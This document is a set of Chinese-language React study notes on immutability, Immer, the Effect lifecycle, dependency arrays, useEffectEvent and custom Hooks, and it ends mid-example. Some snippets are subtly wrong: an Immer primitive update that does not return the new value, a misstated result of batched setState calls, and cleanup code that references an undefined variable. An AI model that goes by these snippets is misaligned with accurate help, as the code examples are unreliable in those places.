**扁平化（Flattening）定义**

**扁平化** 是指将嵌套的、层级结构的数据转换成更简单、更少层级的结构。
简单来说，就是把多层嵌套的对象或数组，拆解成“平铺开”的形式，减少访问和更新时的复杂度。

嵌套结构（未扁平化）

```jsx
const state = {
  user: {
    name: 'Alice',
    address: {
      city: 'Paris',
      zip: '75001'
    }
  }
};
```

访问 `city` 需要写 `state.user.address.city`，更新也比较繁琐。

**扁平化结构**

```jsx
const state = {
  userName: 'Alice',
  userAddressCity: 'Paris',
  userAddressZip: '75001'
};
```

现在访问和更新就简单很多，直接用 `state.userAddressCity`。

## 为何要不可变{#why\_immut}

**为什么在 React 中不推荐直接修改 state**？

直接修改 React 的 state 会带来一系列问题，因此我们建议始终保持 state 的不可变性，主要原因包括：

1. **调试更清晰**
   不直接修改 state，可以保证 `console.log` 输出的旧 state 不会被后续修改影响，方便你准确追踪状态变化和渲染过程。
2. **性能优化**
   React 通过浅比较（`prevState === nextState`）判断是否需要重新渲染。如果直接修改了 state 对象，引用不变，React 会误以为状态没变，跳过更新，导致 UI 不同步。
3. **支持新功能**
   未来 React 的许多新特性依赖于将 state 视作“快照”，直接修改历史 state 会破坏这种机制，影响功能的正确实现。
4. **实现复杂需求更容易**
   比如撤销/重做、展示历史记录、状态回滚等功能，都依赖于保存之前的 state 副本。直接修改 state 会让这类需求实现异常困难。
5. **实现简单且性能无忧**
   React 本身并不依赖对对象的代理或拦截机制，因此无需担心性能或复杂性。你可以自由存放大型对象而不会产生额外开销。

## 数组更新原则{#arr\_update}

**React 中的数组更新原则**

数组虽然是可变对象，但在 React state 中要视为 **不可变**。

**不要** 直接修改 state 中的数组（如 `arr[0] = 'bird'`、`push()`、`pop()`）。

**要** 通过生成新数组并传入 `setState` 来更新。

常用生成新数组的方法：

添加：`concat()`、`[...arr, newItem]`

删除：`filter()`、`slice()`

替换：`map()`

排序：`[...arr].sort()`、`[...arr].reverse()`

可用 **Immer** 简化操作，允许用“可变写法”生成不可变结果。

**核心思路**：更新数组时，永远用“新数组”替换旧数组，避免直接修改原始 state。

## slice vs splice{#slice\_splice}

**React 中 slice vs splice 的陷阱**

* **`slice()`**：返回数组的一个 **拷贝**（全部或部分），**不会** 修改原数组。
* **`splice()`**：**直接修改** 原数组（插入或删除元素）。
* 在 React state 更新中，应优先使用 **`slice()`**（无 p！），避免 `splice()` 引发的 **mutation** 问题。

## immer 实践{#immer\_prax}

`use-immer` 实践举例

```jsx
import { useImmer } from "use-immer";	// 注意引入库
```

**原始类型**：

```jsx
const [count, updateCount] = useImmer(0);

// 增加 1
updateCount(draft => {
  draft += 1; // 直接改，看似 mutable
});
```

**特点**：对原始值，`draft` 就是当前值，不是引用。

**对象**：

```jsx
const [user, updateUser] = useImmer({ name: "Tom", age: 20 });

// 修改 age
updateUser(draft => {
  draft.age += 1;
});
```

**特点**：对象可以直接改属性，不用复制。

**数组**：

```jsx
const [list, updateList] = useImmer(["apple", "banana"]);

// 添加元素
updateList(draft => {
  draft.push("orange"); // 不需要 concat
});
```

**特点**：直接用 `push`、`splice` 等会改原数组的方法没问题，因为 Immer 会生成新副本。

**嵌套对象**：

```jsx
const [state, updateState] = useImmer({
  user1: { name: "Tom", address: { city: "NY" } },
  user2: { name: "Jerry", address: { city: "LA" } },
  user3: { name: "Spike", address: { city: "SF" } },
});

// 改 city
updateState(draft => {
  draft.user1.address.city = "LA";
});
```

**特点**：嵌套层可以直接改，不用一层层 spread。

**嵌套数组**：

```jsx
const [matrix, updateMatrix] = useImmer([
  [1, 2],
  [3, 4]
]);

// 改第二行第二列
updateMatrix(draft => {
  draft[1][1] = 99;
});
```

**特点**：数组嵌套数组依然可直接访问修改。

**数组嵌套对象**：

```jsx
const [todos, updateTodos] = useImmer([
  { id: 1, text: "Learn React", done: false },
  { id: 2, text: "Learn Immer", done: false }
]);

// 将 id=2 的 done 设为 true
updateTodos(draft => {
  const todo = draft.find(t => t.id === 2);
  todo.done = true;
});

// 也可以写成
updateTodos(draft => {
  draft[1].done = true;
});
```

**方法区别**

* **直接索引访问**：更快、更简洁，但依赖数组顺序固定。
* **`find` 查找**：更安全、可读性更好，即使数组顺序改变，也能正确找到目标。

**特点**：查到对象直接改属性，Immer 会帮你生成不可变结果。

**深层嵌套（数组 + 对象 + 数组）**：

```jsx
const [data, updateData] = useImmer({
  users: [
    {
      id: 1,
      profile: {
        name: "Tom",
        tags: ["dev", "blogger"]
      }
    }
  ]
});

// 改第一个用户第二个 tag
updateData(draft => {
  draft.users[0].profile.tags[1] = "writer";
});
```

**特点**：不管嵌套多少层，都能像普通 JS 对象那样直接改。

**总结规律**

* `use-immer` 的 `updateFn` 里，`draft` 是一个 **代理对象**，可以用原生 JS 的可变写法去改。
* 改完后 Immer 会帮你生成 **全新的不可变数据** 传给 state。
* 适合 **深嵌套数据** 更新，省去层层 `...spread` 的麻烦。

---

---
url: /react/i6iuy1yh/index.md
---
# React 脱围机制 [3]
## Effect 的生命周期

**Effect 的本质**

在 React 中，**组件有生命周期（挂载 / 更新 / 卸载）**，但 **Effect 没有组件式的生命周期**。

Effect 的核心只有两件事：

1. **开始同步某些东西（setup）**
2. **结束同步这些东西（cleanup）**

换句话说，Effect 是一种 **订阅和取消订阅** 的机制。

**为什么 Effect 会重复执行**？

当 Effect 依赖的 **props 或 state 随时间变化** 时，React 会在每次渲染后：

* 先执行 cleanup（停止上一轮同步）
* 再执行 setup（开始新的同步）

这样才能保证 Effect 始终与最新的数据保持一致。

```jsx
第一次渲染：
  setup()

state/props 变化 → 再渲染：
  cleanup()
  setup()

组件卸载：
  cleanup()
```

***

不要用「组件的生命周期」来思考 Effect，而要用「同步的生命周期」来思考。

**Effect 的作用是：把外部系统（网络、订阅、定时器、第三方库等）与当前的 props 和 state 保持同步。**

传统的组件生命周期是： 挂载 → 更新 → 卸载

但 Effect 的同步生命周期是： 开始同步 → （可能多次）停止同步 + 重新开始同步 → 最终停止同步

经典聊天室示例

```tsx
const serverUrl = 'https://localhost:1234';

function ChatRoom({ roomId }) {
  useEffect(() => {
    // 开始同步
    const connection = createConnection(serverUrl, roomId);
    connection.connect();

    // 返回清理函数 → 停止同步
    return () => {
      connection.disconnect();
    };
  }, [roomId]); // 依赖项

  return <div>当前房间：{roomId}</div>;
}
```

也就是说：**只要依赖项数组里的值变了，React 就会：**

1. 先运行上一次 Effect 返回的清理函数（停止旧的同步）
2. 再运行本次 Effect 的主体代码（开始新的同步）

这才是「Effect 的真实生命周期」： **同步 → 清理 → 重新同步 → 清理 → 重新同步 → … → 最终清理**

几乎所有连接外部系统的 Effect 都需要**清理**

| 外部系统              | 开始同步                    | 停止同步（清理函数）       |
| --------------------- | --------------------------- | -------------------------- |
| WebSocket / Socket.io | connection.connect()        | connection.disconnect()    |
| setInterval           | const id = setInterval(...) | clearInterval(id)          |
| 事件订阅              | window.addEventListener     | window.removeEventListener |
| 第三方图表库          | chart.render()              | chart.destroy()            |

**总结**

Effect 不是随着组件挂载/卸载跑一次，而是随着依赖项变化跑多次。 每次依赖变 → 先清理旧的 → 再建立新的。 最后卸载时 → 再清理一次。

正确的心智模型：

```js
mount          roomId: 'general' → 'music'          → 'travel'          unmount
   │                  │                          │                   │
   ▼                  ▼                          ▼                   ▼
开始同步           清理 general → 开始 music      清理 music → 开始 travel    清理 travel
```

这就是为什么切换房间时 Effect 运行了两次。

**最佳实践提醒**

* 尽量让依赖项精确、原始（别放对象/函数，除非用 useMemo/useCallback 包裹）
* 必须清理的 Effect 一定要返回清理函数
* 没必要清理的 Effect（如埋点）可以不返回清理函数
* 开发模式下 React 会故意多 mount/unmount 一次帮你验证清理是否正确（这就是为什么你经常看到 Effect 执行两遍）

记住了：**Effect 是同步工具，不是生命周期钩子。**

***

核心

**Effect 不是「组件挂载时跑一次，卸载时清理一次」的生命周期钩子，而是「每当依赖的值不一样时，就必须停止旧同步、启动新同步」的声明式同步机制。**

为什么同步必须多次进行？用聊天室彻底说透

| 时间点                | 用户看到的 UI           | 当前应该连接的房间 | 实际还在连接的房间 | 必须做什么？                        |
| --------------------- | ----------------------- | ------------------ | ------------------ | ----------------------------------- |
| 初次打开              | 欢迎来到 general 房间！ | general            | 无                 | → 开始同步 general                  |
| 用户切换到 travel     | 欢迎来到 travel 房间！  | travel             | general（旧的）    | → 必须先断开 general，再连接 travel |
| 用户又切换到 music    | 欢迎来到 music 房间！   | music              | travel（旧的）     | → 必须先断开 travel，再连接 music   |
| 用户关闭聊天/切换页面 | ChatRoom 组件被卸载     | 无                 | music（旧的）      | → 最后一次断开 music                |

如果不「多次同步」，就会出现灾难：

* 一直连着 general，却显示 travel 的消息 → 消息串房间
* 多个房间同时连接 → 服务器压力、重复消息、内存泄漏

所以 React 强制：**只要依赖变了，就一定要「先清理旧的，再建立新的」**

**Effect 的真实执行顺序时间线**

```jsx
组件 mount
└── Effect 执行 → 连接 "general"

依赖 roomId 变化：general → travel
├── 1. 先执行上一次的清理函数 → 断开 "general"
└── 2. 再执行本次 Effect 主体 → 连接 "travel"

依赖 roomId 变化：travel → music
├── 1. 先执行上一次的清理函数 → 断开 "travel"
└── 2. 再执行本次 Effect 主体 → 连接 "music"

组件 unmount
└── 执行最后一次清理函数 → 断开 "music"
```

```jsx
useEffect(() => {
  const connection = createConnection(serverUrl, roomId);
  connection.connect();
  return () => connection.disconnect();
}, [roomId]);   // 只要这个值不变，我就保持连接；一变，我就停旧开新
```

开发环境（StrictMode）会故意这样做：

```jsx
mount → connect general
      → 立刻 disconnect general   ← 故意触发清理
      → 立刻 connect general 再次   ← 验证你清理函数是否正确
然后才进入正常流程
```

这是 React 在帮你做「压力测试」： 如果你的清理函数写错了（比如没断开连接、没清除定时器），这里就会立刻暴露 bug！

生产环境不会这样做，只会正常执行一次。

## Effect 会“响应”于响应式值

| 值类型                           | 是否响应式？ | 是不是会变来变去？           | 必须写进依赖数组吗？       | 典型例子                                                     |
| -------------------------------- | ------------ | ---------------------------- | -------------------------- | ------------------------------------------------------------ |
| props                            | 是           | 会变                         | 必须                       | roomId, theme, user                                          |
| state                            | 是           | 会变                         | 必须                       | count, serverUrl（如果用 useState）                          |
| 组件体内用 const 定义的变量/函数 | 否           | 每次渲染都重新创建，但值不变 | 不用                       | const serverUrl = 'https://...'; const options = { showTime: true } |
| 组件体内用 let 定义的变量        | 否           | 每次渲染都被重置             | 不用（但几乎没人这么干）   | let count = 0                                                |
| 全局变量 / 外部常量              | 否           | 基本不变                     | 不用                       | window.API\_URL                                               |
| useMemo / useCallback 包裹的值   | 看情况       | 只有依赖变才变               | 看你想不想让 Effect 响应它 |                                                              |

```jsx
// 情况1：serverUrl 是常量 → 不响应式 → 不写依赖
const serverUrl = 'https://localhost:1234';   // ← 永远不变

function ChatRoom({ roomId }) {
  useEffect(() => {
    createConnection(serverUrl, roomId).connect();
    return () => connection.disconnect();
  }, [roomId]); // 正确！只写 roomId
}

// 情况2：serverUrl 是 state → 响应式 → 必须写依赖
function ChatRoom({ roomId }) {
  const [serverUrl, setServerUrl] = useState('https://localhost:1234');

  useEffect(() => {
    createConnection(serverUrl, roomId).connect();
    return () => connection.disconnect();
  }, [roomId, serverUrl]); // 必须两个都写！否则大 bug
}
```

| 写法                                                       | 实际含义（React 视角）                           | 真实执行次数        | 典型用途                                     |
| ---------------------------------------------------------- | ------------------------------------------------ | ------------------- | -------------------------------------------- |
| useEffect(() => { ... }, \[]);                              | “我只在组件第一次挂载时同步一次，之后再也不管了” | 挂载一次 + 卸载清理 | 埋点、初始化 OneSignal、启动只需要一次的动画 |
| useEffect(() => { ... }, \[a, b]);                          | “只要 a 或 b 变化，我就重新同步”                 | 可能很多次          | 聊天室、WebSocket、订阅、图表刷新            |
| useEffect(() => { ... });    // 故意不写依赖数组（不推荐） | “每次渲染我都要重新同步”                         | 几乎每次渲染都跑    |                                              |

* **「在 Effect 里读了什么响应式值（props / state / 其他组件的值），就必须把它写进依赖数组」** —— ESLint react-hooks/exhaustive-deps 规则就是干这个的，永远别关！
* **「如果一个值在组件外定义，或者在组件内用 const 定义且永不改变，就不用写」**
* **「当你想让某个对象/函数不触发重新同步时，用 useMemo / useCallback 包起来」**

```jsx
               每次渲染都会重新创建，但值不变
                          │
const serverUrl = 'https://...';   ← 不写依赖
const options = { mute: false };   ← 不写依赖

               每次渲染值可能不一样
                          │
const [serverUrl, set..] = useState(..)  ← 必须写依赖
const { roomId } = props                ← 必须写依赖
const theme = useContext(ThemeContext)    ← 必须写依赖
                          │
               React：只要你变，我就重新同步！
```

\*\*依赖数组不是让你随便填的，而是你对 React 的承诺： “我这个 Effect 到底依赖哪些可能会变的值”。 \*\*

***

**凡是在组件函数体内声明的值（包括 props、state、const、let、计算值、函数、对象），默认全都是响应式的，必须写进依赖数组。 能不写的，只有这两种情况：**

* 它被声明在组件外部（函数）外部
* 它被声明在 Effect 内部

| 值的声明位置                              | 是否响应式 | 必须写进依赖吗   | 例子                                                     |
| ----------------------------------------- | ---------- | ---------------- | -------------------------------------------------------- |
| 组件外部（模块顶层）                      | 否         | 不写             | `const serverUrl = 'https://...'`                        |
| props                                     | 是         | 必须             | `function ChatRoom({ roomId })`                          |
| useState / useReducer                     | 是         | 必须             | `const [serverUrl, setUrl] = useState(...)`              |
| useContext                                | 是         | 必须             | `const theme = useContext(ThemeContext)`                 |
| 组件体内 const/let 计算值                 | 是         | 必须             | `const url = selected ?? settings.defaultUrl`            |
| 组件体内创建的对象/数组/函数              | 是         | 必须（极易出错） | `const options = { roomId }; const onMessage = () => {}` |
| Effect 内部声明                           | 否         | 不写             | `useEffect(() => { const conn = create... }, [])`        |
| ref.current                               | 否         | 不能写           | `ref.current.focus()`（故意可变，不触发渲染）            |
| 全局变量 / window.xxx / location.pathname | 否         | 不能写也没用     | 必须用 useSyncExternalStore 订阅                         |

**经典例子**

```jsx
// 1. 完全正确：常量在外面
const serverUrl = 'https://localhost:1234';
function ChatRoom({ roomId }) {
  useEffect(() => {
    createConnection(serverUrl, roomId).connect();
  }, [roomId]); // 只写 roomId 就够
}

// 2. 完全正确：常量在 Effect 里面
function ChatRoom({ roomId }) {
  useEffect(() => {
    const serverUrl = 'https://localhost:1234'; // ← 每次 Effect 都重新创建，但值一样
    createConnection(serverUrl, roomId).connect();
  }, [roomId]);
}

// 3. 错误！计算值没写依赖（最常见 bug）
function ChatRoom({ roomId, selectedServer }) {
  const settings = useContext(SettingsContext);
  const serverUrl = selectedServer ?? settings.defaultUrl; // ← 响应式！

  useEffect(() => {
    createConnection(serverUrl, roomId).connect();
  }, [roomId]); // 漏了 serverUrl → bug！
}

// 4. 正确写法
useEffect(() => {
  createConnection(serverUrl, roomId).connect();
}, [roomId, serverUrl]); // 必须加上

// 5. 更狠的：对象/函数作为依赖（每次渲染都不同）
const options = { roomId, showTimestamp: true }; // ← 每次渲染都生成新对象
useEffect(() => {
  subscribe(options);
}, [options]); // → 每次渲染都重新订阅！死循环风险

// 6. 正确做法：用 useMemo 让它稳定
const options = useMemo(() => ({ roomId, showTimestamp: true }), [roomId]);
useEffect(() => {
  subscribe(options);
}, [options]); // 只有 roomId 变时才重新订阅
```

ESLint 永久打开这个规则：`"react-hooks/exhaustive-deps": "error"`，它会帮你自动抓住 99% 的依赖遗漏问题。

当你“不想”让它重新同步时，正确做法

| 你想干的事                        | 错误做法（别干）               | 正确做法（必须这样）                            |
| --------------------------------- | ------------------------------ | ----------------------------------------------- |
| serverUrl 永远不变                | 放在组件里但不写依赖           | 移到组件外 或 移到 Effect 内部                  |
| 只在挂载时连一次                  | 写空依赖但里面读了 props/state | 把要用的值用 useRef 保存，或者拆成两个 Effect   |
| 读取最新 props 但不希望重新同步   | 直接读，漏依赖                 | 提取成 “Effect Event”（useEffectEvent，实验性） |
| 传对象/函数给 Effect              | 直接传，每次都不同             | 用 useMemo / useCallback 包起来                 |
| 读取 location.pathname / 全局状态 | 直接读，写进依赖               | 用 useSyncExternalStore 订阅                    |

**总结**

* **组件函数体内 = 响应式世界** 只要在函数 {} 里声明的，一律当它是会变的值，统统写依赖！
* **组件外 + Effect 内 = 非响应式安全区** 只有在这两个地方声明的值，才可以安心不写依赖。
* **ESLint 报红 = 一定有 bug** 永远别 disable，改代码让它不红才是正道。

## 将事件从 Effect 中分开

**Effect 是「响应式的」→只要依赖变就重新同步」** **事件处理函数是「非响应式的」→只在用户真正操作时运行一次**

有时候你需要把「响应式」和「非响应式」混在一起写 → 就用 useEffectEvent

| 需求                                      | 应该放哪里？                | 是否响应式               | 依赖要不要写           | 典型代码位置                           |
| ----------------------------------------- | --------------------------- | ------------------------ | ---------------------- | -------------------------------------- |
| 点击“发送”按钮发消息                      | 事件处理函数                | 非响应式                 | 不需要依赖             | onClick={handleSend}                   |
| 切换 roomId 后自动重连聊天室              | Effect                      | 响应式                   | 必须写 \[roomId]        | useEffect                              |
| 连接成功后弹“已连接！”的 toast            | 想只在真正连接时弹一次      | 非响应式                 | 不想写 \[theme]         | 错放 Effect 里会导致切换主题也重连     |
| 页面访问埋点，要带上当前购物车数量        | 想只在 url 变时埋一次       | 购物车数量是非响应式部分 | 不想写 \[numberOfItems] | 错放 Effect 里会导致加购物车也重新埋点 |
| 鼠标移动实时更新坐标，但要受 canMove 控制 | 想只在 mount 时绑定一次监听 | canMove 是非响应式部分   | 不想写 \[canMove]       | 经典闭包 stale bug                     |

终极解决方案：useEffectEvent（实验性 API）

```jsx
import { useEffectEvent } from 'react';

function ChatRoom({ roomId, theme }) {
  // 这段逻辑是非响应式的！它只应该在“真正连接成功”那一刻运行一次
  const onConnected = useEffectEvent(() => {
    showNotification('已连接！', theme); // ← 永远能拿到最新 theme
  });

  useEffect(() => {
    const conn = createConnection(serverUrl, roomId);
    conn.on('connected', () => {
      onConnected(); // ← 只在这里调用
    });
    conn.connect();
    return () => conn.disconnect();
  }, [roomId]); // ← 依赖里彻底删掉 theme！完美！
}
```

另一个经典埋点例子

```tsx
// 以前的错误写法（99% 的人都这么干过）
useEffect(() => {
  logVisit(url, cartItems.length);
  // eslint-disable-next-line react-hooks/exhaustive-deps
}, [url]); // 偷偷关掉警告 → 埋下大坑

// 正确写法（2025 年的推荐姿势）
const onVisit = useEffectEvent((visitedUrl) => {
  logVisit(visitedUrl, cartItems.length); // 永远拿到最新购物车数量
});

useEffect(() => {
  onVisit(url); // 只有 url 真的变了才埋点一次
}, [url]);
```

| 场景                                           | 正确做法                                     |
| ---------------------------------------------- | -------------------------------------------- |
| 只在「用户点了按钮」才做事                     | 放事件处理函数（onClick、onSubmit…）         |
| 只要 props/state 变就要重新同步外部系统        | 放 useEffect，依赖老老实实写全               |
| Effect 里有一小段代码「不想响应式」     | 提取成 useEffectEvent                 |
| 想读取最新 props/state，但又不想让 Effect 重跑 | 用 useEffectEvent 包起来                     |
| 以前靠 `// eslint-disable-next-line` 跳过依赖  | 全部删掉！改用 useEffectEvent 或其他正确方案 |

自定义 Hook 最佳实践

```tsx
function useChatRoom(roomId) {
  const onMessage = useEffectEvent((msg) => {
    setMessages(msgs => [...msgs, msg]); // 永远最新 state
  });

  useEffect(() => {
    const conn = createConnection(roomId);
    conn.on('message', onMessage);
    conn.connect();
    return () => conn.disconnect();
  }, [roomId]); // 再也不用写 [roomId, onMessage]
}
```

* **Effect = 响应式 → 依赖必须写全**
* **事件处理函数 = 非响应式 → 永远拿到最新值**
* **想在 Effect 里写非响应式代码 → 提取成 useEffectEvent**

| 问题                                               | 答案                                                         | 原因                                                         |
| -------------------------------------------------- | ------------------------------------------------------------ | ------------------------------------------------------------ |
| `useEffectEvent` 要不要写进依赖数组？              | 永远不要！必须删掉！                                         | 它故意被 React 设计成「非响应式」+「稳定身份」，永远 === 同一个函数 |
| `useEffectEvent` 一般声明在哪儿？                  | 只能写在组件内部，写在 useEffect 同级或者更外层，绝不能写在 useEffect 内部 | 写在 Effect 内部会每次都创建新函数，失去意义                 |
| 能不能把所有 useEffectEvent 抽到一个文件统一管理？ | 绝对不行！严禁！                                             | 它必须能读取到最新的 props/state，正是因为它「闭包」了组件作用域 |

正确的层级写法

```tsx
function ChatRoom({ roomId, theme, userId }) {
  // 正确位置：组件内部，和 useEffect 平级（可以稍微靠上一点更好阅读）
  const onConnected = useEffectEvent(() => {
    showNotification(`欢迎 ${userId} 进入房间！`, theme);
  });

  const onMessage = useEffectEvent((msg) => {
    console.log('最新用户ID:', userId); // 永远是最新值，不是闭包旧值
    setMessages(ms => [...ms, msg]);
  });

  const onKick = useEffectEvent(() => {
    kickUser(userId); // 永远踢当前登录用户
  });

  useEffect(() => {
    const conn = createConnection(roomId);
    conn.on('connected', onConnected);
    conn.on('message', onMessage);
    conn.on('kicked', onKick);
    conn.connect();

    return () => conn.disconnect();
  }, [roomId]); // 依赖里根本不需要写 onConnected / onMessage / onKick
}
```

错误写法

```tsx
// 错误1：写在 useEffect 内部 → 每次 Effect 都重新创建，失去意义
useEffect(() => {
  const onConnected = useEffectEvent(() => { ... }); // 每次都新函数，毫无用处
  conn.on('connected', onConnected);
}, [roomId]);

// 错误2：抽成工具文件统一管理 → 拿不到最新 props/state
// utils/effectEvents.js
export const onVisit = useEffectEvent((url) => { ... }); // 报错！组件外不能用不了

// 错误3：依赖数组里写了 useEffectEvent
useEffect(() => {
  // ...
}, [roomId, onConnected]); // 红叉！ESLint 会直接报错
```

## 依赖与代码保持一致

**对象和函数作为 Effect 依赖，几乎永远是错的**。

因为在 JavaScript 里：

```js
{} === {}        // false
[] === []        // false
(() => {}) === (() => {})  // false
```

哪怕内容一模一样，只要是这次渲染新创建的，React 就认为“值变了” → Effect 必须重新执行。

结果就是：

* 你在输入框打字 → 组件重渲染 → 创建了新对象 → Effect 重连聊天室
* 你切换暗黑模式 → 父组件重渲染 → 传下来一个新函数 → 子组件 Effect 重新订阅
* 你点一下无关按钮 → 整个页面重渲染 → 所有对象又变 → 所有定时器、WebSocket、订阅全炸

这不是你想要的“响应式”。

***

**99.9% 的情况下，你的 useEffect 根本不需要依赖对象或函数**

最好就是完全不依赖对象/函数，但是如果你确实必须传一个回调，但可以让它稳定

比如第三方库长这样：

```ts
player.on('progress', onProgressHandler);   // 必须传函数
```

```tsx
const handleProgress = useCallback((info) => {
  setProgress(info.percent);
  log(info);
}, []); // 依赖为空，或者只放真正会变的原始值

useEffect(() => {
  player.on('progress', handleProgress);
  return () => player.off('progress', handleProgress);
}, [handleProgress]); // 允许依赖函数，但这个函数是稳定的！
```

只要你用了 useCallback + 正确依赖，它永远稳定，Effect 永远不会因为“函数变了”而乱跑。

如果必须传 config 对象，且第三方库内部会频繁对比对象（比如 echarts.setOption）

```tsx
const chartOption = useMemo(() => ({
  tooltip: { trigger: 'axis' },
  series: [{ data: chartData }],
  color: theme === 'dark' ? darkColors : lightColors
}), [chartData, theme]);

useEffect(() => {
  chart.current.setOption(chartOption, true); // echarts 自己会浅对比
}, [chartOption]);
```

这里依赖对象是“允许的”，因为第三方库自己做了浅对比，只有真正的内容变了才会重绘，而且你已经用 useMemo 保证了只有必要时才创建新对象。

最差但偶尔能活：你真的完全没法避免，只能依赖裸对象/函数

极少数老旧库会把整个 config 存在内部，每次都要 === 全等对比。

唯一活法：

```tsx
// 故意让它不稳定，但用 ref 存最新值
const optionsRef = useRef();
optionsRef.current = { roomId, token, retry: 3 };

useEffect(() => {
  // 第三方库要求传对象，但我们永远传同一个对象
  oldLib.init(optionsRef.current);

  return () => oldLib.destroy();
}, []); // 空依赖！靠 ref 读最新
```

或者配合 useEffectEvent（实验性，但未来会稳定）：

```tsx
const onEvent = useEffectEvent((data) => {
  // 这里随便读 props/state 都是最新值
});

useEffect(() => {
  thirdPartyLib.setCallback(onEvent); // 永远是同一个函数引用
}, []);
```

**总结**：

* 普通项目：永远别让裸对象/裸函数出现在依赖数组里
* 必须传回调：包一层 useCallback
* 必须传 config 对象：包一层 useMemo
* 实在包不了的老古董库：用 ref 或 useEffectEvent 绕过去，依赖留空

## 移除不必要的依赖

特定交互要干的事 → 直接写在 onClick / onSubmit 里 （别用 Effect + submitted 状态）

一个 Effect 干了两件不相关的事 → 立刻拆成两个 Effect （国家选城市、城市选区域，必须分开）

用旧 state 算新 state → 改用 updater function

```tsx
// 错
setMessages([...messages, msg])
// 对
setMessages(msgs => [...msgs, msg])
// 依赖里直接删掉 messages
```

只想读最新值，但不想因为它变而重连/重订阅 → 用 useEffectEvent（实验性但已可放心用）

```tsx
const onMessage = useEffectEvent((msg) => {
  addMessage(msg);
  if (!isMuted) playSound();     // 永远读最新 isMuted
  if (notificationCount > 0) log(); // 永远读最新
});

useEffect(() => {
  socket.on('message', onMessage);
  return () => socket.off('message', onMessage);
}, [roomId]); // 依赖里彻底删掉 isMuted / notificationCount
```

对象或函数导致“打字就断网” → 三种解法，按优先级选

```tsx
// 解法A：直接在 Effect 里创建（最常用）
useEffect(() => {
  const options = { serverUrl, roomId, token };
  connect(options);
}, [roomId, token]);

// 解法B：必须传给第三方，用 useMemo/useCallback 包
const options = useMemo(() => ({ serverUrl, roomId }), [roomId]);
const onProgress = useCallback((e) => { ... }, []);

// 解法C：父组件每次传新对象/新函数，用上面同样的招数现场拆
function Child({ config, onEvent }) {
  const { roomId, token } = config;           // 现场拆
  const onMsg = useEffectEvent(onEvent);     // 或者包一层

  useEffect(() => { ... }, [roomId, token]);
}
```

***

只要你在 setState 的时候，需要用到“当前最新的 state 值”来算下一个值，就必须用 updater function 形式：setX(prev => 新值)

否则就会拿到“过期的、闭包里的旧值”，导致 bug。

经典错误例子

```tsx
const [messages, setMessages] = useState([]);

// 场景：socket 连续收到 3 条消息
connection.on('message', (msg) => {
  setMessages([...messages, msg]);     // 错的！
});
```

假设三条消息几乎同时到，你期望 messages 变成：

```js
['hi', 'how are you', 'fine']
```

但实际结果很可能是：

```js
['hi', 'hi', 'hi']
```

为什么？因为 Effect 只在 mount 时执行一次，里面的 messages 被闭包成初始的 \[]。   三次 setMessages 都基于同一个空数组展开，所以最终都是 \['hi']\`。

正确写法（updater function）

```tsx
connection.on('message', (msg) => {
  setMessages(prevMsgs => [...prevMsgs, msg]);  // 永远正确！
});
```

React 会把这三次更新排队，依次执行：

1. \[] → \['hi']
2. \['hi'] → \['hi', 'how are you']
3. \['hi', 'how are you'] → \['hi', 'how are you', 'fine']

永远拿到最新值，永不踩坑。

```tsx
[...messages, msg]     // 把“闭包那一刻的 messages”展开 + 新 msg
[...msgs, msg]         // 把“React 队列里当前最新 msgs”展开 + 新 msg
```

**总结**

* 只要 setXXX 里面用到了当前 state 的值 → 改成 `prev =>`
* 连续多次更新同一个 `state` → 必须用 `prev =>`
* 用了 `prev =>` 就能把这个 `state` 从 Effect 依赖里彻底删掉（因为你根本没读它）

***

**回顾**

在同一个事件循环（一次点击、一次 `socket` 消息、一次 `interval`）里， 你无论调用多少次 `setState`(普通值)，React 都会把它们“合并”成一次，只取最后一次的值。

```tsx
// 假设当前 count = 0
handleClick() {
  setCount(count + 1); // React 想：好，他要基于 0 + 1 → 1
  setCount(count + 1); // React 想：又来？他又要基于 0 + 1 → 1
  setCount(count + 1); // 还是基于 0 → 1
  // 最终结果：count 变成 1，而不是 3
}
```

而你用 prev => 形式，React 就老老实实排队执行：

```tsx
handleClick() {
  setCount(c => c + 1); // 0 → 1
  setCount(c => c + 1); // 1 → 2
  setCount(c => c + 1); // 2 → 3
  // 最终结果：count 变成 3
}
```

| 场景                      | 表面现象             | 根本原因                     | 终极解法               |
| ------------------------- | -------------------- | ---------------------------- | ---------------------- |
| 连续收到 3 条 socket 消息 | 列表里只显示最后一条 | 闭包 + 批量更新              | msgs => \[...msgs, msg] |
| 点一下按钮想 +3           | 实际只 +1            | 批量更新，读的是渲染时的旧值 | c => c + 1 三次        |

一句话总结：**只要你这次 setState 的结果，依赖“上一次 setState 的结果”，就必须用 prev => … 形式。**

## 自定义 Hook

自定义 Hook 的本质是：复用「**状态逻辑**」（stateful logic），而不是复用「**状态本身**」（state）。

**经典案例**：监听网络状态

原始写法（重复代码）

```jsx
function StatusBar() {
  const [isOnline, setIsOnline] = useState(true);
  useEffect(() => {
    window.addEventListener('online', () => setIsOnline(true));
    window.addEventListener('offline', () => setIsOnline(false));
    return () => {
      window.removeEventListener('online', ...);
      window.removeEventListener('offline', ...);
    };
  }, []);
  return <h1>{isOnline ? 'Online' : 'Disconnected'}</h1>;
}
```

每个需要网络状态的组件都要写一遍上面的代码 → 严重重复

提取为自定义 Hook（推荐写一次，到处用）

```jsx
// useOnlineStatus.js
import { useState, useEffect } from 'react';

export function useOnlineStatus() {
  const [isOnline, setIsOnline] = useState(true);

  useEffect(() => {
    const goOnline = () => setIsOnline(true);
    const goOffline = () => setIsOnline(false);

    window.addEventListener('online', goOnline);
    window.addEventListener('offline', goOffline);

    return () => {
      window.removeEventListener('online', goOnline);
      window.removeEventListener('offline', goOffline);
    };
  }, []);

  return isOnline;
}
```

使用后组件变得极简清晰

```jsx
function StatusBar() {
  const isOnline = useOnlineStatus();
  return <h1>{isOnline ? 'Online' : 'Disconnected'}</h1>;
}

function SaveButton() {
  const isOnline = useOnlineStatus();
  return (
    <button disabled={!isOnline}>
      {isOnline ? 'Save progress' : 'Reconnecting...'}
    </button>
  );
}
```

两个组件同时响应网络变化，但它们内部完全没有重复逻辑。

**关键规则**

组件名必须大写开头（如 StatusBar），React 通过首字母判断是否是组件

Hook 名必须以 use 开头 + 大写（如 useOnlineStatus），只有 Hook 和组件才能调用其他 Hook

Hook 内可以调用其他 Hook，普通函数内不能调用 Hook

```js
// 正确
function useOnlineStatus() { useState(...) }

// 错误！普通函数不能调用 Hook
function getOnlineStatus() { useState(...) }
```

**自定义 Hook 不共享 `state`**

```jsx
function A() { const isOnline = useOnlineStatus(); ... }
